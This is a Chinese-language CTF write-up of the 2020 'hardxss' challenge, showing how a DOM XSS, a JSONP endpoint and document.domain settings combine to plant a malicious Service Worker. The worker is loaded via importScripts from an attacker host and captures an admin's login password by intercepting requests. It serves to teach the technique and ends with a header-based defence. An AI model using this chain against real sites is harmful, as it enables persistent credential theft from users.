从一道CTF学习Service Worker的利用:西湖论剑2020-hardxss
题目初探
- 首先,题目提供了一个在线访问工具,会去访问提交的url。在“联系站长”处有:
嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!
,而登陆时,会以GET请求传入用户名和密码:https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=123&adminpwd=123
- 所以本题需要通过XSS拦截并获取登陆时GET请求的密码,然后以admin身份登录,不能通过常规的盗取cookie实现。这就需要Service Worker来操作。
JSONP
- 通过浏览器network工具,可以发现在login处存在一处jsonp:
https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status
,网页直接返回了:
|
|
我们访问https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=alert(1);//
,返回:
|
|
- 需要注意的是,这个jsonp限制了返回值的长度。
变量覆盖和DOM XSS
- 仔细查看login处的js代码,可以发现一处dom xss:
- 首先,注意到
jsonp
函数会创建script
标签,并使用https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status
处的jsonp,而该jsonp调用的函数由变量callback
决定。 - 在
auto_reg_var
函数中,通过location.search
获取了请求参数,并通过window[key] = value
进行了赋值,此处存在变量覆盖漏洞。 - 结合以上的jsonp和login页面的js,此处存在DOM型XSS,我们只需要通过GET请求传入login页面callback参数,此时会覆盖掉原来的callback并调用jsonp,payload:
?callback=alert(1)//
。
|
|
虽然找到了一处XSS,但是题目又说明:“我收到邮件后会先点开链接然后登录我的网站!”,而登录的域名是auth.hardxss.xhlj.wetolink.com
,登录和打开链接是在不同的域名,并且需要盗取的信息在请求中而不是在cookie中。又注意到,直接访问https://auth.hardxss.xhlj.wetolink.com/
,返回的页面源码的js中包含跨域操作:document.domain = "hardxss.xhlj.wetolink.com";
, 所以此题需要使XSS跨域持久化,这就涉及到本文的主角:Service Worker,通过它和其他页面的跨域操作可以让XSS持久化。此外,由于需要拦截登陆时的参数,其他方法难以做到拦截请求,而SW可以。
Service Worker
Service Worker简介
- Appcache用来处理网站的离线缓存,可以通过manifest文件指定浏览器缓存哪些文件以供离线访问。但Appcache有相当多的缺陷,对于整站中的多页缓存来说支持比较差,而Service Worker用来作为其替代。
- Service Worker是浏览器在后台运行的脚本,与web页面分离,以更好地支持不需要web页面或用户交互的功能。也可以将其理解为一个介于客户端和服务端之间的代理服务器,拥有拦截请求、修改返回内容的权力。可以用来缓存并处理离线网页(用来XSS)。
- Service Workers 要求必须在 HTTPS 下才能运行。为了便于本地开发,localhost 也被浏览器认为是安全源。
- Service Workers没有访问 DOM 的能力。
注册Service Worker
要使用SW,需要先注册,有两种方法注册SW:1. 通过JS;2. 通过link标签引入外部js
|
|
|
|
- 需要注意的是
navigator.serviceWorker.register
中的参数 - 首先,第一个参数(
scriptURL
)只能为本站中的JS脚本(并且必须是HTTPS
或localhost
,且这个脚本的Content-Type
必须是text/javascript
或者其等价类型); - 第二个参数
scope
则限定了Service Worker访问的资源的名称空间(如本例中只能访问/sw-test/
的子路径),并且,scope
参数不能设置为第一个参数的上层路径(scope
范围必须要小于Service Worker
脚本本身的路径范围),几个例子:
|
|
构造恶意register
从上文可以看出,Service Worker有诸多限制,所以利用起来也比较局限。 一种利用方式:首先发现本站的jsonp(或者有本站的js文件上传点,但这种情况比较少),以作为sw脚本url源。 接一段lightless师傅的引用:
该接口的路径越浅越好,最好在根目录下。很明显
http://localhost/time.jsonp?callback=
要优于http://localhost/a/b/c/time.jsonp?callback=
,因为如果后者作为Service Worker
的脚本时,scope
只能为/a/b/c/
下的路径,而前者可以控制整个域下的内容。
有了这个JSONP,使用 importScripts
就可以在SW注册时引入任意https脚本: importScripts('https://my_site.com/my_evil.js');
利用脚本:
|
|
原理:通过监听 fetch
事件,截获用户的请求,篡改返回,向返回的页面上嵌入恶意的JS脚本。
Service Worker有效时间
在每个Service Worker授权24小时后(用PC时钟确定时间),原先的HTTP缓存将被清除。脚本需要被重新注册以正常使用,否则会被摧毁。
利用1:XSS持久化、拓展XSS攻击面
|
|
|
|
|
|
利用2:跨域XSS
- 这便是本题的利用思路了,首先看条件:若另一个页面存在跨域操作(如:
document.domain="xxx.xxx"
),则可以跨该域进行XSS。
再引用一段lightless师傅的博客:
假设我们在
A.lightless.me
上发现了 XSS,想要横向移动到secret.lightless.me
上。当secret.lightless.me
上存在跨域行为的时候,例如document.domain = 'lightless.me'
,我们可以通过 XSS 漏洞嵌入一个iframe
标签,以此给secret.lightless.me
域下植入Service Worker
(前提是secret.lightless.me
域下存在一个JSONP
或是有可以返回Service Worker
脚本的地方)。通过这种方法,即便secret.lightless.me
域内没有 XSS,也可以被植入恶意的Service Worker
。
理解一下:我们在A.lightless.me
上插入一个secret.lightless.me
域(secret.lightless.me
域下存在跨域行为和JSONP或js文件上传)下的iframe
,并通过JSONP为该iframe
注册恶意SW,由于该页面跨域了,所以A.lightless.me
页面的iframe可以访问其内容,能够成功为secret.lightless.me
注册恶意SW。
在本题中,首先诱导受害者访问:
|
|
此处会触发xss.hardxss.xhlj.wetolink.com/login
下的DOM XSS,从而引入并执行1.js
|
|
在1.js
中,我们首先跨域以访问同样跨域的https://auth.hardxss.xhlj.wetolink.com
,这种跨域方法在实际开发中很常见,为了使数据能够跨域传输,开发者常常把两个不同子域的document.domain
设置为共同的父域,通过iframe
就能跨域操作,但也带来了安全隐患。此时,1.js
就可以对https://auth.hardxss.xhlj.wetolink.com
进行操作了。然后我们构造一个iframe
指向https://auth.hardxss.xhlj.wetolink.com
,并在其上注册SW(此处省去了scope
参数,使用默认的最大子路径作为参数),此SW使用JSONP与importScripts
结合加载2.js
作为SW脚本。
|
|
2.js
是SW脚本,在2.js
中,我们劫持了fetch
事件,并将请求传给我们的服务器,从而在管理员登陆时劫持并窃取管理员密码,达到利用目的。拿到密码后,登录网页即可拿到flag。需要注意的一点是,由于JSONP为https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=xxx
,我们只能劫持受害者在https://auth.hardxss.xhlj.wetolink.com/api/
的子域下的请求;而用户登陆的url为https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=xxx&adminpwd=xxx
,恰好在该子域下,所以利用才能成功。可以看出SW的可利用路径是非常苛刻的。
真实情况下的案例:百度漏洞报告:埋雷式攻击,悄无声息获取用户百度登录密码
Service Worker防御措施
当注册SW时,会发出包含 Service-Worker: script
http头的请求,可以在服务端拒绝非SW Script
却又包含该头的请求以进行防范。
总结
- 让我们梳理一下,考虑一些细节,整道题主要涉及到四个url:
- DOM XSS(https://xss.hardxss.xhlj.wetolink.com/login)
- JSONP(https://auth.hardxss.xhlj.wetolink.com/api/loginStatus)
- 跨域页面(https://auth.hardxss.xhlj.wetolink.com)
- 登录验证api(https://auth.hardxss.xhlj.wetolink.com/api/loginVerify)
最后结合一张networking截图理解:
- 注意到跨域页面上只有一个光秃秃的跨域操作,并没有其他操作,但作为媒介用以设置其子域-登录验证api上的SW脚本(设置脚本时访问的是跨域页面而没有访问劫持页面)
- 利用条件:
1.baidu.com
上发现了XSS,2.baidu.com
上存在跨域操作:document.domain = 'baidu.com'
并且子域下存在JSONP(路径需要跟盗取的信息页面在同一子域)或能够上传js的地方,就可以完成JSONP子域下的持久化XSS劫持。
最后几点:
- JSONP决定了可以盗取的页面子域
- 可以用来劫持请求,并直接盗取请求参数,这是其他XSS不能办到的
- 持久化XSS
- 扩大XSS到SW脚本子域